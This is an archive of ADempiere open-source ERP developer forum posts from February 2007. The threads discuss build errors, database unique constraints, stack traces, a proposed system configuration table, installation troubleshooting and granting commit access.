2007-02-17 18:39:28 UTC

Here is the feature

request: https://sourceforge.net/tracker/index.php?func=detail&aid=1662447&group_id=176962&atid=879335

Best regards,
Teo Sarca

2007-02-19 16:26:52 UTC

Hi Teo,

>What you think ? Do you meet this kind of problems/troubles ?

My vote is: [+1]

I do not see problems, only benefits. We will have compile time safety that column names are OK.

Kind regards,
Trifon

2007-02-14 08:00:51 UTC

Hi community,

We will be having a technical meeting with the Posterita development team on IRC at channel #adempiere-team at February 15 GMT 15:00 .

Agenda:

1. Integration model between Posterita and Adempiere
 - Architecture
 - Deployment
 - Operation
2. Enhancement or bug fixes to be incorporated from Posterita into Adempiere core
3. Database Supported by Posterita
4. Future cooperation

Everyone are welcome to participate.

thanks.

Regards,
Low

2007-02-14 13:03:46 UTC

Hi Hengsin,

Thanks for the announcement. The Posterita team look forward to this meeting, we should have a couple of core team members in the meeting.

Regards

Frederick Tsang

2007-02-16 04:24:32 UTC

Hi all,

I've uploaded my meeting log here:

http://www.adempiere.com/wiki/index.php/Posterita_Meeting_Full_20070215

If there are things to add after I've left, please do so. It will be good too if the Posterita team can help to prepare a summary of it.

Regards,
Low

2007-02-17 18:47:38 UTC

Hi Hengsin,

Thanks for posting the full meeting. Yes we'll try to make a summary of the meeting. We have someone joining that will take care of the communications.

Frederick Tsang

2007-02-19 18:50:11 UTC

Hi All,

Following the adempiere meeting, please find below the requested database modifications done by Alok.

http://www.adempiere.com/wiki/index.php/Database_Modifications

And also a little tutorial on how to set Posterita with SVN. Feel free to update the wiki's if you think you can improve our docs.

http://www.adempiere.com/wiki/index.php/Setting_Posterita_from_SVN

Thanks

Frederick Tsang

2007-02-20 02:34:47 UTC

Hi All,

From what I understand there is a libero branch off of subversion. Victor has told me he has added the postgresql and oracle dump for all the libero database functionality.

According to Victor what is missing is the libero back end code. For example, with the database dump you can see the screens, but without the back end java code the screens won't actually do anything. Victor says he is working on integrating this back end code into the libero branch and that it will be released this week. I am quite eager to help but I am not clear how I can help. Can anyone assist me in knowing this?

Thanks,

Tim

P.S.

I am quite excited about the libero functionality and appreciate all of Victor's hard work, just want to help in any way I can :)

2007-02-20 07:15:03 UTC

Tim, u shuld go post here...

http://sourceforge.net/forum/message.php?msg_id=4167006

better to keep things in one place..

thanks

2007-02-20 18:01:14 UTC

Just did.

2007-02-19 20:40:22 UTC

Hello.

We tried to update the live demo to ADempiere 314 over the weekend.

We followed the instructions here:

http://www.adempiere.com/wiki/index.php/ADempiere_Install_Linux%26PostgreSQL

But when we run the GUI, we get the Migration message, that the database is out of date. Is there something more we should know or do that is not in the documentation?

Thanks,

jsolutions

<http://www.idalica.com>

2007-02-20 03:32:03 UTC

Hi,

Since that message indicates that u have a prior database content prior, wonder if u face a problem during the ImportADempiere stage.

Such a message comes out when the application checks the AD_System table and sees a different date from its hardcoded reference.

Or it could be that the postgres DB dump provided is not changed, at least in that table

value or the whole dump.

In my oracle version, which i took from trunk last week, i made a compile and it checks the data ok as 314.

2007-02-20 23:01:32 UTC

ok, it was in our setup. ADEMPIERE_HOME was set wrong for the import user...

Thank you to Carlos Ruiz for the troubleshooting help!

btw this means the live demo is now version 314!

jsSolutions
<http://www.idalica.com>

2007-02-19 12:39:21 UTC

Hi,

I'm unable to build this revision. I guess it's because dbport now depends on base but base project is compiled after dbproject if you use build.xml from utils_dev project.

Regards,
Karsten

compile:

```
[javac] Compiling 786 source files to D:\compiere\Adempiere_SVN\trunk\dbPort\build
[javac]
D:\compiere\Adempiere_SVN\trunk\dbPort\src\org\compiere\PackOut\IntPackInHandler.
java:82: cannot find symbol
```

```
[javac] symbol : class MPreference
[javac] location: class org.compiere.PackOut.IntPackInHandler
[javac] private MPreference m_Preference = null;
[javac] ^
[javac]
D:\compiere\Adempiere_SVN\trunk\dbPort\src\org\compiere\PackOut\IntPackInHandler.
java:85: cannot find symbol
```

```
[javac] symbol : class MTask
[javac] location: class org.compiere.PackOut.IntPackInHandler
[javac] private MTask m_Task = null;
[javac] ^
[javac]
D:\compiere\Adempiere_SVN\trunk\dbPort\src\org\compiere\PackOut\IntPackInHandler.
java:86: cannot find symbol
```

```
[javac] symbol : class MForm
[javac] location: class org.compiere.PackOut.IntPackInHandler
[javac] private MForm m_Form = null;
```

2007-02-21 11:02:20 UTC

Is solved in actual trunk.

Regards,
Karsten

2007-02-16 10:56:04 UTC

Hi Developers!

I have a problem with Value & DocumentNo fields... if we use 2 or more Client's, we have problem with automatic Value & DocumentNo generation.

Example:

Client One have records with Value = 1000000, and Client TWO have errors associated with Unique Value number, when he try to create New record on the same table.

I think for fields Value & DocumentNo UNIQUE parameters is not necessary

Sergey Vishniakov

ADempiere.LV Team

2007-02-16 11:20:23 UTC

> I think for fields Value & DocumentNo UNIQUE parameters is not necessary
... or the unique constraint should be on AD_Client_ID and DocumentNo/Value columns.

Best regards,
Teo Sarca

2007-02-19 16:31:55 UTC

Hi Sergey,

>Client One have records with Value = 1000000, and Client TWO have errors
>associated with Unique Value number, when he try to create New record on the same
table.

>I think for fields Value & DocumentNo UNIQUE parameters is not necessary

I think that better solution is given by Teo.

>... or the unique constraint should be on AD_Client_ID and DocumentNo/Value

columns.

I would add that in some cases we need to create two couples of columns unique:

AD_Client_ID and DocumentNo/Value

AD_Client_ID and Name

Kind regards,

Trifon

2007-02-21 21:33:20 UTC

Hello!

You think, this script solve my problems?

```
=====
CREATE TABLE UM_Railway
(
UM_Railway_ID NUMBER(10,0),
AD_Client_ID NUMBER(10,0) UNIQUE NOT NULL,
AD_Org_ID INTEGER NOT NULL,
IsActive CHAR(1) DEFAULT 'Y' NOT NULL,
Created DATE DEFAULT SYSDATE NOT NULL,
CreatedBy NUMBER(10,0) NOT NULL,
Updated DATE DEFAULT SYSDATE NOT NULL,
UpdatedBy NUMBER(10,0) NOT NULL,
Name NVARCHAR2(60) UNIQUE NOT NULL,
Description NVARCHAR2(255),
primary key(UM_Railway_ID),
foreign key(AD_Client_ID) references AD_Client(AD_Client_ID),
foreign key(AD_Org_ID) references AD_Org(AD_Org_ID),
CHECK(IsActive IN ('Y', 'N'))
);
=====
```

But, why I have the same problems? Where I'm wrong?

Sergey Vishniakov

ADempiere.LV

2007-02-21 23:31:34 UTC

Have u tried not using those UNIQUE constraints?

I tot AD_Client_ID cannot be unique cos u should have many records under the same client, isnt it?

Only the primary key UM_Railway_ID NUMBER(10,0), shuould be unique

red1

2007-02-22 06:25:36 UTC

Hi Red.

In this case, I can insert NOT UNIQUE records into ONE table. This isn't good enough

Sergey Vishniakov

ADempiere.LV Team

2007-02-22 08:30:18 UTC

Hi again.

I think this helps

====

```
CREATE TABLE UM_Railway
(
  UM_Railway_ID NUMBER(10,0),
  AD_Client_ID NUMBER(10,0) NOT NULL,
  AD_Org_ID INTEGER NOT NULL,
  IsActive CHAR(1) DEFAULT 'Y' NOT NULL,
  Created DATE DEFAULT SYSDATE NOT NULL,
  CreatedBy NUMBER(10,0) NOT NULL,
  Updated DATE DEFAULT SYSDATE NOT NULL,
  UpdatedBy NUMBER(10,0) NOT NULL,
  Name NVARCHAR2(60) NOT NULL,
  Description NVARCHAR2(255),
  primary key(UM_Railway_ID),
  foreign key(AD_Client_ID) references AD_Client(AD_Client_ID),
  foreign key(AD_Org_ID) references AD_Org(AD_Org_ID),
  CONSTRAINT railway_unique UNIQUE (AD_Client_ID, Name),
  CHECK(IsActive IN ('Y', 'N'))
);
```

====

Sergey Vishniakov

ADempiere.LV Team

2007-02-10 11:37:35 UTC

Hi,

When we try to enter the Resource Assignment filed in Sales Order, it gives the following error in console. What should be checked ?

Error :

```
17:03:05.734 InfoSchedule.<init>:
MResourceAssignment[ID=0,S_Resource_ID=0,From=2007-02-10
17:03:05.718,To=null,Qty=1] [11]
17:03:05.750 InfoSchedule.displayCalendar: Index=0, ID=1000009 - 2007-02-10
00:00:00.0 [11]
17:03:05.750 VSchedule.recreate: (5) Resource_ID=1000009: 2007-02-10 00:00:00.0-
>2007-02-11 00:00:00.0 [11]
17:03:05.750 ScheduleUtil.getAssignmentSlots: 2007-02-10 00:00:00.0 [11]
17:03:05.765 ScheduleUtil.getAssignmentSlots: - EndDate=2007-02-11 00:00:00.0 [11]
17:03:12.921 MIssue.create: InfoSchedule [11]
17:03:15.375 MIssue.saveNew: AD_Issue - AD_Issue_ID=1005075 [11]
======> DB.executeUpdate: INSERT INTO AD_Issue
(Version,UserName,UpdatedBy,Updated,SystemStatus,StatisticsInfo,StackTrace,Source
MethodName,SourceClassName,ReleaseTag,ReleaseNo,Record_ID,ProfileInfo,Processin
g,Processed,OperatingSystemInfo,Name,LoggerName,Local_Host,JavaInfo,IssueSumma
ry,IsActive,ErrorTrace,DatabaseInfo,DBAddress,CreatedBy,Created,AD_Org_ID,AD_Is
sue_ID,AD_Client_ID) VALUES ('2006-11-02','?',100,TO_DATE('2007-02-10
17:03:14','YYYY-MM-DD
HH24:MI:SS'),'E','C3U18B24P103I163M151','NullPointerException
at org.compiere.util.TimeUtil.getDayTime(TimeUtil.java:149)
at org.compiere.model.ScheduleUtil.getAssignmentSlots(ScheduleUtil.java:215)
at org.compiere.apps.search.VSchedule.recreate(VSchedule.java:129)
at org.compiere.apps.search.InfoSchedule.displayCalendar(InfoSchedule.java:302)
at org.compiere.apps.search.InfoSchedule.dynInit(InfoSchedule.java:186)
at org.compiere.apps.search.InfoSchedule.<init>(InfoSchedule.java:65)
at org.compiere.grid.ed.VAssignment.actionPerformed(VAssignment.java:334)
at javax.swing.AbstractButton.fireActionPerformed(AbstractButton.java:1849)
at javax.swing.AbstractButton$Handler.actionPerformed(AbstractButton.java:2169)
at javax.swing.DefaultButtonModel.fireActionPerformed(DefaultButtonModel.java:420)
at javax.swing.DefaultButtonModel.setPressed(DefaultButtonModel.java:258)
at
javax.swing.plaf.basic.BasicButtonListener.mouseReleased(BasicButtonListener.java:23
4)
at java.awt.Component.processMouseEvent(Component.java:5488)
at javax.swing.JComponent.processMouseEvent(JComponent.java:3126)
at java.awt.Component.processEvent(Component.java:5253)
at java.awt.Container.processEvent(Container.java:1966)
at java.awt.Component.dispatchEventImpl(Component.java:3955)
at java.awt.Container.dispatchEventImpl(Container.java:2024)
```

```
at java.awt.Component.dispatchEvent(Component.java:3803)
at java.awt.LightweightDispatcher.retargetMouseEvent(Container.java:4212)
at java.awt.LightweightDispatcher.processMouseEvent(Container.java:3892)
at java.awt.LightweightDispatcher.dispatchEvent(Container.java:3822)
at java.awt.Container.dispatchEventImpl(Container.java:2010)
at java.awt.Window.dispatchEventImpl(Window.java:1774)
at java.awt.Component.dispatchEvent(Component.java:3803)
at java.awt.EventQueue.dispatchEvent(EventQueue.java:463)
at
java.awt.EventDispatchThread.pumpOneEventForHierarchy(EventDispatchThread.java:242)
at
java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:202)
at java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:216)
at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:202)
at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:216)
at java.awt.EventDispatchThread.run(EventDispatchThread.java:271)
org.compiere.apps.search.InfoSchedule: 'unknown', '253d', 1, 't01|GardenWorld|SYSTEM|', 'N', 'N', 'Windows XP 5.1 Service Pack 2', '?', 'org.compiere.apps.search.InfoSchedule', 'TECS02/192.168.1.2', 'Java HotSpot(TM) Client VM 1.5.0_06-b05', 'NullPointerException InfoSchedule', 'Y', NULL, 'Oracle Database 10g Release 10.1.0.2.0 - Production;10.1.0.2.0;DS', 'jdbc:oracle:thin:@//tecs02:1521/oracle', 100, TO_DATE('2007-02-10 17:03:14', 'YYYY-MM-DD HH24:MI:SS'), 1000001, 1005075, 1000001) [null] [11]
java.sql.SQLException: ORA-01401: inserted value too large for column
; State=23000; ErrorCode=1401
at oracle.jdbc.driver.DatabaseError.throwSQLException(DatabaseError.java:125)
at oracle.jdbc.driver.T4CTTIoer.processError(T4CTTIoer.java:305)
at oracle.jdbc.driver.T4CTTIoer.processError(T4CTTIoer.java:272)
at oracle.jdbc.driver.T4C8Oall.receive(T4C8Oall.java:623)
at oracle.jdbc.driver.T4CPreparedStatement.doOall8(T4CPreparedStatement.java:181)
at
oracle.jdbc.driver.T4CPreparedStatement.execute_for_rows(T4CPreparedStatement.java:543)
at
oracle.jdbc.driver.OracleStatement.doExecuteWithTimeout(OracleStatement.java:1028)
at
oracle.jdbc.driver.OracleStatement.doScrollExecuteCommon(OracleStatement.java:3753)
)
at
oracle.jdbc.driver.OraclePreparedStatement.doScrollPstmtExecuteUpdate(OraclePreparedStatement.java:8829)
at
oracle.jdbc.driver.OraclePreparedStatement.executeInternal(OraclePreparedStatement.java:2886)
at
oracle.jdbc.driver.OraclePreparedStatement.executeUpdate(OraclePreparedStatement.java:2960)
at org.compiere.util.CPreparedStatement.executeUpdate(CPreparedStatement.java:168)
at org.compiere.util.DB.executeUpdate(DB.java:923)
```

```
at org.compiere.util.DB.executeUpdate(DB.java:830)
at org.compiere.model.PO.saveNew(PO.java:2251)
at org.compiere.model.PO.save(PO.java:1782)
at org.compiere.model.MIssue.create(MIssue.java:51)
at org.compiere.util.CLogErrorBuffer.publish(CLogErrorBuffer.java:200)
at java.util.logging.Logger.log(Logger.java:428)
at java.util.logging.Logger.doLog(Logger.java:450)
at java.util.logging.Logger.log(Logger.java:539)
at org.compiere.apps.search.InfoSchedule.<init>(InfoSchedule.java:69)
at org.compiere.grid.ed.VAssignment.actionPerformed(VAssignment.java:334)
```

```
=====> DB.saveError: DBExecuteError - ORA-01401: inserted value too large
for column
```

```
[11]
```

```
-----> MIssue.saveNew: Not inserted - AD_Issue [11]
```

```
=====> InfoSchedule.<init>: InfoSchedule [11]
```

```
java.lang.NullPointerException
```

```
at org.compiere.util.TimeUtil.getDayTime(TimeUtil.java:149)
at org.compiere.model.ScheduleUtil.getAssignmentSlots(ScheduleUtil.java:215)
at org.compiere.apps.search.VSchedule.recreate(VSchedule.java:129)
at org.compiere.apps.search.InfoSchedule.displayCalendar(InfoSchedule.java:302)
at org.compiere.apps.search.InfoSchedule.dynInit(InfoSchedule.java:186)
at org.compiere.apps.search.InfoSchedule.<init>(InfoSchedule.java:65)
at org.compiere.grid.ed.VAssignment.actionPerformed(VAssignment.java:334)
at javax.swing.AbstractButton.fireActionPerformed(AbstractButton.java:1849)
at javax.swing.AbstractButton$Handler.actionPerformed(AbstractButton.java:2169)
at javax.swing.DefaultButtonModel.fireActionPerformed(DefaultButtonModel.java:420)
at javax.swing.DefaultButtonModel.setPressed(DefaultButtonModel.java:258)
at
javax.swing.plaf.basic.BasicButtonListener.mouseReleased(BasicButtonListener.java:23
4)
at java.awt.Component.processMouseEvent(Component.java:5488)
at javax.swing.JComponent.processMouseEvent(JComponent.java:3126)
at java.awt.Component.processEvent(Component.java:5253)
at java.awt.Container.processEvent(Container.java:1966)
at java.awt.Component.dispatchEventImpl(Component.java:3955)
at java.awt.Container.dispatchEventImpl(Container.java:2024)
at java.awt.Component.dispatchEvent(Component.java:3803)
at java.awt.LightweightDispatcher.retargetMouseEvent(Container.java:4212)
at java.awt.LightweightDispatcher.processMouseEvent(Container.java:3892)
```

```
2007-02-10 12:57:26 UTC
```

hi Samuel,

Here i see two errors:

1) java.sql.SQLException: ORA-01401: inserted value too large for column;
State=23000; ErrorCode=1401
It is standard. Because system tries to insert value which is bigger than max chars
allowed in column.

2) Real exception is (java.lang.NullPointerException):
Please check TimeUtil.java
Row: 149

Kind regards,
Trifon

```
=====> InfoSchedule.<init>: InfoSchedule [11]
java.lang.NullPointerException
at org.compiere.util.TimeUtil.getDayTime(TimeUtil.java:149)
at org.compiere.model.ScheduleUtil.getAssignmentSlots(ScheduleUtil.java:215)
at org.compiere.apps.search.VSchedule.recreate(VSchedule.java:129)
at
org.compiere.apps.search.InfoSchedule.displayCalendar(InfoSchedule.java:302)
at org.compiere.apps.search.InfoSchedule.dynInit(InfoSchedule.java:186)
at org.compiere.apps.search.InfoSchedule.<init>(InfoSchedule.java:65)
at org.compiere.grid.ed.VAssignment.actionPerformed(VAssignment.java:334)
at javax.swing.AbstractButton.fireActionPerformed(AbstractButton.java:1849)
at
javax.swing.AbstractButton$Handler.actionPerformed(AbstractButton.java:2169)
at
javax.swing.DefaultButtonModel.fireActionPerformed(DefaultButtonModel.java:4
20)
at javax.swing.DefaultButtonModel.setPressed(DefaultButtonModel.java:258)
at
javax.swing.plaf.basic.BasicButtonListener.mouseReleased(BasicButtonListener
.java:234)
at java.awt.Component.processMouseEvent(Component.java:5488)
at javax.swing.JComponent.processMouseEvent(JComponent.java:3126)
at java.awt.Component.processEvent(Component.java:5253)
at java.awt.Container.processEvent(Container.java:1966)
at java.awt.Component.dispatchEventImpl(Component.java:3955)
at java.awt.Container.dispatchEventImpl(Container.java:2024)
at java.awt.Component.dispatchEvent(Component.java:3803)
at java.awt.LightweightDispatcher.retargetMouseEvent(Container.java:4212)
at java.awt.LightweightDispatcher.processMouseEvent(Container.java:3892)
```

2007-02-10 14:30:05 UTC

Hi Trifon,

Based on your point checked & found that TimeUtil.java leads to ScheduleUtil.Java & checks for TimeSlot, Slot Start & Stop fields in Reosurce Window. When we choose TimeSlot to 'Y', then the above problem arises. Obviously, we now choose 'N' and we don't get the problem anymore.

Thanks for the support.

May be this a bug ?

Regards

Sam24368

2007-02-10 14:39:35 UTC

Hi,

>Based on your point checked & found that TimeUtil.java leads to ScheduleUtil.Java & checks >for TimeSlot, Slot Start & Stop fields in Reosurce Window. When we choose TimeSlot to 'Y', >then the above problem arises. Obviously, we now choose 'N' and we don't get the problem >anymore.

>

>

>Thanks for the support.

>

>May be this a bug ?

I'm not sure, but from user pint of view i think that this is a bug as Adempiere must work well no matter if value of given field is Y or N.

Kind regards,
Trifon

2007-02-10 15:19:12 UTC

Hi,

>I'm not sure, but from user pint of view i think that this is a bug as Adempiere must work well no matter if value of given field is Y or N.

Yes Trifon, i believe this is a bug as you said.

Please Sam, can you report this into the bugs tracker?
https://sourceforge.net/tracker/?group_id=176962&atid=879332

Thanks & regards,

Alejandro

2007-02-11 05:25:34 UTC

Hi Alejandro,

We have raised the following :

https://sourceforge.net/tracker/index.php?func=detail&aid=1657133&group_id=176962&atid=879332

Regards

Sam24368

2007-02-20 19:34:14 UTC

Hi Sam,

I can't replicate the bug. Both cases (I mean with Time Slot checked and unchecked) work for me. I'm using ADempiere 3.1.4 and Oracle DB.

Best regards,

Alejandro

2007-02-22 16:42:36 UTC

Hi Alejandro,

We have upgraded to ADempiere 3.1.4 and no longer get the problem as well.

Regards,

Sam24368

2007-02-12 15:15:15 UTC

Hi,

When we try to use the Horizontal Scroll bar in Schedule Info, (in week & month tabs) all the vertical lines disappear together with the date heading going beyond view.

Your ideas on correcting these is welcome.

Best Regards,

Sam24368

2007-02-22 17:24:50 UTC

Hi,

System : Adempiere 3.14.

When we use time Slot in Resource Type, this works OK.

Regards,

Sam24368

2007-02-15 08:31:52 UTC

Hi ever1,

we have a (serious?) problem with drop down boxes showing only 1000 results. For example when creating a report line we try to select some accounts which should be used, however when pressed on dropdown menu it shows only first 1000 accounts.

We are not sure if this is hard coded somewhere? Is there a parameter in some global file? Oracle issue like limited result set of 1000? Oracle timeout?

tnx in advanced,

adempiere team Bosnia.

2007-02-15 10:11:55 UTC

MLookup.java has a statement :

```
/** Number of max rows to load */  
private static final int MAX_ROWS = 1000; // i.e. Drop Down has max 500 items
```

2007-02-15 15:27:31 UTC

During implementation and customization, we often face the same problem. Many places are hard-coded.

Thus we decide to create a new table for storing global setting or system configuration. This is also to reduce number of places where hard-coded constants were used before. We call it AD_SysConfig. It mimics the Windows Registry system where it has key and value.

Example how to use it:

In the table you have "Port Number" as the key and "1521" as the value.
To obtain the value in your code, just write down: `MSysConfig.getValue("PortNumber")`

There are three methods for MSysConfig class:

1. `getValue` returning String
2. `getIntValue` returning Integer
3. `getDoubleValue` returning Double

If the community think this is a very usable solution, I will be gladly contribute it to the trunk. Let's vote.

For sample case, we use it in configuring the limit number of rows that the Find dialog will return (i.e. if user unawarely click the Ok button without entering any criteria, you don't want to let the Find dialog end up with 10000 records but just 500 records instead). We would also like this feature to be included in Adempiere core. What do you think ?

Regards,

Armen
<http://www.goodwill.co.id>

2007-02-15 17:33:16 UTC

Hi Armen,

I believe, this is a very good feature.
What's the opinion from the community and CC members?

Regards,

Alejandro

2007-02-15 17:39:23 UTC

This sounds like a wise approach for this kind of problems.

My vote for integrating it to adempiere.

Best Regards

2007-02-15 17:55:17 UTC

Armen, I was on the verge of opening a feature request for such table.
We need such table!!! Thanks for the offering.

My +1 vote too for that!!!!

Which fields does the table have?
I ask because there are parameters for system and for client.

Anyway, I think you can contribute it and if we need more things, we'll enhance it :-)

It will be good to include it in 3.1.5 (closing feb 28)

Regards,

Carlos Ruiz

2007-02-15 17:58:51 UTC

Hi,

> we have a (serious?) problem with drop down boxes showing
> only 1000 results.

Personally I find a drop down box with 1000 results hard to use, and also it represents performance problems.

I would recommend you to implement the accounts as Search type, not List.

Also, because this is just my personal opinion, but your project can have different needs, I voted for having the 1000 limit not hardcoded, but as a parameter.

Regards,

Carlos Ruiz

2007-02-15 18:47:23 UTC

Sounds very sensible to me. My vote goes for integration into adempiere.

Best regards,
Karsten

2007-02-15 23:49:33 UTC

Good morning everyone,

I have created a new Contribution tracker. http://sourceforge.net/tracker/index.php?func=detail&aid=1661027&group_id=176962&atid=883808

It will take me a couple days to complete the integration.

Next step, we have to propose a standard naming convention to use for "Keys" in System Configuration.

Everyone are welcome to test and enhance it. Thank you.

Rgds,

Armen

<http://www.goodwill.co.id>

2007-02-21 11:09:32 UTC

Hi Armen,

I like such feature. My vote is: [+1] to include it in Adempiere.

Kind regards,
Trifon

2007-02-21 14:53:13 UTC

Hi Armen,

Yes and yes, I'd like to see that in trunk. I can see that being used for many things. One question though, will your AD_Sysconfig take into account the ctx?

It would be nice that it is not a system wide property but an:

*
AD_CLIENT
AD_ORG
AD_TERMINAL
AD_USER

Where there will a be sort of priority that takes place, I could imagine that for some settings we want that to apply for a particular organisation but not for another one.

so +1 from me too

Frederick Tsang.

2007-02-22 11:19:30 UTC

I like Frederick's idea !

> It would be nice that it is not a system wide property but an:

> *

> AD_CLIENT

> AD_ORG

> AD_TERMINAL

> AD_USER

and AD_Role too, because as much as possible you will try to keep configurations on roles and not on users, because users come and go but roles are steady.

so, +1 vote !

Best regards,

Teo Sarca

2007-02-22 18:11:59 UTC

Hi everyone,

we intend to offer Adempiere to two different companies on the same database, but different schemas. We face the problem that every installation goes to the "adempiere" schema.

It would be nice if we could choose the name of the schema we want to create, instead of sticking to "adempiere". Maybe this is not the right thread, but perhaps this enhancement could be considered.

Mario

2007-02-22 18:26:38 UTC

Hi,

>we intend to offer Adempiere to two different companies on the same database, but different >schemas. We face the problem that every installation goes to the "adempiere" schema.

>

>It would be nice if we could choose the name of the schema we want to create, instead of >sticking to "adempiere". Maybe this is not the right thread, but perhaps this

enhancement >could be considered.

Sure you can specify different schema.

When run setup program (RUN_setup.bat or sh) you need to specify different db user name(this is schema in oracle).

On my laptop i run one Oracle XE with Compiere 2.5.2d, 2.5.2e, 2.5.3b, Adempiere 3.1.3, Adempiere 3.1.4 and Adempiere trunk.

You need to be careful when you specify Adempiere home in order to use proper directory.

Kind regards,
Trifon

2007-02-23 02:09:56 UTC

I agree on not being a system wide property, however for terminal configuration specific purpose, is it not better that it goes into its own setup window ?

Regards,

Armen

2007-02-22 17:17:14 UTC

Hi,

We have a Jasper Report with subreports When we try to run this from ADempiere 3.14 the system gives SEVERE message : JRException; e.getMessage = Element Type "subDataset" must be declared. class :ReportStarter.compileReport.

The Subreports are compiled from ADempiere 3.14. And neither the master nor the sub have any chart.

This Report (with subreport) works all right from iReport.

We are not able to run JasperReport in ADempiere 3.14 from Eclipse as well, only from the built Adempiere 3.14.

What should be checked ?

Best Regards,

Sam24368

2007-02-23 06:30:16 UTC

Hi,

This problem has been finally tracked to a mistake in the .jrxml file. (a subdataset was by mistake inserted in the .jrxml by our staff). Perhaps we should have checked better.

Now the system & subreport works perfect. Regrets for any inconvenience caused.

Regards,

Sam24368

2007-02-22 22:14:52 UTC

Dear Trifon, dear committee council members,

i talked to karsten and carlos regarding enhancing jasper report integration, so we can have jasper reports fully integrated as a option for also printing documents. Furthermore file attachment functionality should be improved, means ODF viewer in the beginning and later a ODF editor, primarily for text and spreadsheets. There have been also high interest in the possibility of defining whether someone wants to store attachments in the database as binary data or on the (servers) filesystem, could be also any network share the client has access to. Just think about the oracle xe 4GB database size limitation. Last but not least there are many open bugs and a lot of them are really small. But important because they affect fuctionality in a bad way.

Another thing i'd like to maintain is the NetBeans IDE compatibility. Since i work now with NetBeans for so many years (early 3.x versions) and i already wrote some NetBeans integration scripts/ant script adjustments which actually work fine and have been committed to the trunk.

Since I have developed java enterprise applications since a couple of years for various major companys i think code quality is not a question.

Peter (goanookie), karsten thiemann, and red1 (Red) would be fine if i would get svn commit access they told me on irc.

Anyway, i really would like to contribute my work and ideas in a constructive manner.

Best regards Johannes (DeathMeat)

2007-02-22 22:37:31 UTC

re: binary data, XE & its 4GB limit
very good point DM!

I realise that this is a decision for the CC, but I would like to add that I too would support DeathMeat (Johannes) having commit access.

colin

2007-02-22 22:45:27 UTC

Hi Johannes,

I will be glad to accept you in Adempiere developers list and my vote is: [+1] to give you commit access to Adempiere SVN server.

Please prior commits post your plan what you would like to change in order community to be informed. Also please create feature request with new functionality which you would like to add and post feature request number in SVN commit message. Please subscribe for Adempiere CVS log list:
Adempiere-cvslog@lists.sourceforge.net

Thank you for description. Your plan sounds good and contains useful modifications. I hope that all we can help you to implement them and see these features working in next releases.

Kind regards,
Trifon

2007-02-23 00:18:15 UTC

Hi Johannes, I just added you to the developer list.

Please follow all the guidelines explained by Trifon here.

Regards,

Carlos Ruiz

2007-02-23 00:18:22 UTC

Thank you Johannes for taking so many red pills. You have been a real swell of a pal. I find your constant company in the IRC #adempiere room truly cosy. You shared with us the worldmap, and you busy yourself answering posts even across the borders.

Let me humbly welcome you into our inner circle. You deserve every inch of it.

See you in Germany soon!

red1

2007-02-23 07:13:59 UTC

Hi Johannes,

congratulations!

>There have been also high interest in the possibility of defining
>whether someone wants to store attachments in the database
>as binary data or on the (servers) filesystem, could be also
>any network share the client has access to. Just think
>about the oracle xe 4GB database size limitation.

I have done this for our implementation, I will send you the code to discuss it.

Regards,
Karsten

2007-02-23 14:16:06 UTC

Congratulations Carne muerta!

Best Regards

2007-02-23 19:36:57 UTC

Hi All,

I came across what I think could be an incredible tool:

<http://benjie.org/software/linux/collaborative-vnc/>

This could be effective for:

- * training developers
- * mentoring developers
- * helping with bugs
- * customer troubleshooting

What do you all think?

2007-02-23 14:34:10 UTC

when i run ImportAdempiere.bat i receive "myEnviroment.bat is not recognized as an internal or external command...

Re-create Adempiere User and import \data\adempiere.dmp<>"
what caused this problem? any solution?

thanks you all!

2007-02-23 14:42:49 UTC

did you set the ADEMPIERE_HOME variable?

I just ran clean install on a windows env (for the first time :) yesterday and it worked fine. I was using an oracle XE Db ... what DB are you using?

colin

2007-02-23 19:21:28 UTC

i am using th Oracle db 10 express edition. about the Adempiere home variable you mean the steps"start->my computer->right klik->properties->advanced->Environment Variables->new etc? I have done that, but i will check it again. if there is anything else that could help i would be grateful.

2007-02-23 19:40:39 UTC

Hi,

did you run the RUN_Setup.bat script before to run RUN_ImportAdempiere.bat?

Regards,

Alejandro

2007-02-23 19:46:37 UTC

yes i did. i just fixed it. the first time the port 1099 send me an error and i changed it to 2030. although the setup worked obviously it was wrong. so i ran the set up again and it worked with the 1099 port.

thanks for the response, antonios, Greece

2007-02-23 19:49:07 UTC

You are welcome!

Best regards,

Alejandro

2007-02-20 14:55:51 UTC

Hi,

We have some customised classes and trying to find a way of keeping them. As of now we keep a copy of the modified class in a separate directory and maintain a list of customised classes in .ods.

But how to do this, particularly keeping migrations in mind ?

Regards,

Sam24368

2007-02-20 16:43:25 UTC

Hi Sam,

The developers are working around this issue. I believe the customization.jar is for this proposal.

Regards,

Alejandro

2007-02-20 18:57:51 UTC

Hi Sam, you can read a lot about that in the CC meeting from today:

http://www.adempiere.com/wiki/index.php/CC_Meeting_Full_20070220

Regards,

Carlos Ruiz

2007-02-22 16:59:03 UTC

Hi Carlos,

Thanks. Went through the CC Meeting notes. Given Adempiere 3.14 already has 2Pack

in it, we presume Adempiere is moving in that direction.

Is it not that 2Pack is best suited wherein one has to pass a pack of customisations to many installations, the FAPack (Fixed Assets) by Rob Klein being a good example ?

Our requirement is as below :

We wish to develop and maintain an inventory of customisations. For eg., we have customisation a) for installation 1) and customisation b) for installation 2) that can't be transferred exactly as it is to installation 3). What we need to have is transferring part of customisation a) and part of customisation b) to installation 3) (perhaps with some modifications) .

We use XML2AD for sql & Table and views in Application Dictionary. For classes, what Neil Gordon was proposing in KnowledgeSuccess & Red1.org seemed interesting.

Is our understanding correct ? What is suitable for our requirement ?

Best Regards,

Sam24368

2007-02-22 17:15:41 UTC

One way is using different svn branches for each customer.
Then you can upgrade using svn merge.

2007-02-22 20:34:21 UTC

Hi Sam, I'm not very sure if I understood your example.

We have a similar case here. We're managing four implementation projects at the same time, some customizations are specific and some can be shared.
My approach (until now) is NOT having a package for each customer.
Is more like having a package for each functionality.

Common ground on functionalities that can be shared are implemented in an isolated package. (i.e. taxes localization for Colombia)

Specific customizations are implemented in another package.

That's just my idea, for sure 2pack or other tools can give us better management. It's good to hear opinions.

Please let us know if you think that 2pack (and/or Adempiere) can be enhanced in any way to manage your situation.

Regards,

Carlos Ruiz - globalqss
<http://globalqss.com>

2007-02-22 22:35:22 UTC

Hi all,

